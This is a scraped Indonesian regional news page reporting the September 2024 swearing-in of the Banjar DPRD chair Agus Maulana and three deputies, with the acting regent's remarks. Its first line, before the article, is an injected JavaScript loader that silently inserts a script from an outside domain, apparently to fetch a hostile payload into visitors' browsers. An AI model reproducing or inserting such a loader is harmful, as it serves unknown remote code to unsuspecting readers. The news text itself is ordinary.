(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Agus Maulana dari Partai Golkar ditetapkan sebagai Ketua DPRD Banjar bersama tiga wakil ketua, yaitu Irwan Bora dari Partai Gerindra, Akhmad Rizanie Anshari dari Partai Nasdem dan KH Ali Murtadho dari PPP.
Pengucapan sumpah atau janji pimpinan DPRD Kabupaten Banjar Periode 2024 – 2029 itu berlangsung saat digelar Rapat Paripurna DPRD di Ruang Paripurna lantai 2, Senin (30/9/2024) pagi.
Pengangkatan pimpinan DPRD Banjar tersebut berdasar Keputusan Gubernur Kalimantan Selatan dibacakan oleh Sekretaris DPRD Banjar, Aslam.
Pengambilan sumpah/janji tersebut dilakukan Ketua Pengadilan Negeri Martapura Kurniawan Wijonarko.
Ketua DPRD Banjar H Agus Maulana berharap kerja sama yang serasi dengan pemerintah daerah selaku mitra dan dukungan semua pihak agar dapat melaksanakan fungsi, tugas dan wewenang dengan baik.
“Kami ingin menggugah kembali kesadaran akan tanggung jawab yang besar dalam memegang amanah rakyat yang menginginkan untuk bersatu padu dan mampu membangun kondisi masyarakat yang lebih stabil dalam bidang politik, sosial dan ekonomi,” katanya.
Pjs Bupati Banjar Akhmad Fydayeen mengatakan pimpinan DPRD yang baru dapat melaksanakan tugas dengan sepenuh hati dan tetap meminta petunjuk kepada Allah SWT serta berpegang pada pilar-pilar utama kebangsaan yaitu UUD 1945, Pancasila, NKRI dan prinsip Bhinneka Tunggal Ika.
“Pimpinan DPRD bukanlah hanya jabatan atau kedudukan tapi sebuah amanah merealisasikan cita-cita bersama agar daerah lebih maju, sejahtera dan bermartabat.
Oleh karena itu pimpinan yang baru dilantik ini dapat melaksanakan tugas mulia melibatkan semua elemen politik dan masyarakat,” harap dia.
Dia menjelaskan, institusi DPRD menjadi sebuah simbol dari cita-cita bangsa Indonesia yang ideal dan hadir di tengah masyarakat menyuarakan suara rakyat.
“Zaman digitalisasi ini sebuah lembaga legislatif menjadi sorotan di tengah terpaan arus media sosial sehingga harus terbuka untuk mengadopsi kehendak dan tuntutan zaman serta suara masyarakat,” katanya.
Akhmad Fydayeen juga berharap pimpinan DPRD dapat memperkuat fungsi dasar DPRD sendiri yaitu legislasi, pengawasan dan anggaran.
“Ketiga fungsi ini harus sejalan dan saling mendukung sehingga dapat melahirkan produk-produk legislasi yang relevan dengan masyarakat Kabupaten Banjar, melakukan pengawasan yang seksama dan responsif terhadap kebutuhan rakyat serta memastikan alokasi anggaran yang mampu mendorong kesejahteraan dan keadilan,” pungkas dia. (Kanalkalimantan.com/dkispbanjar/kk)
Reporter : kk
Editor : dhani
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.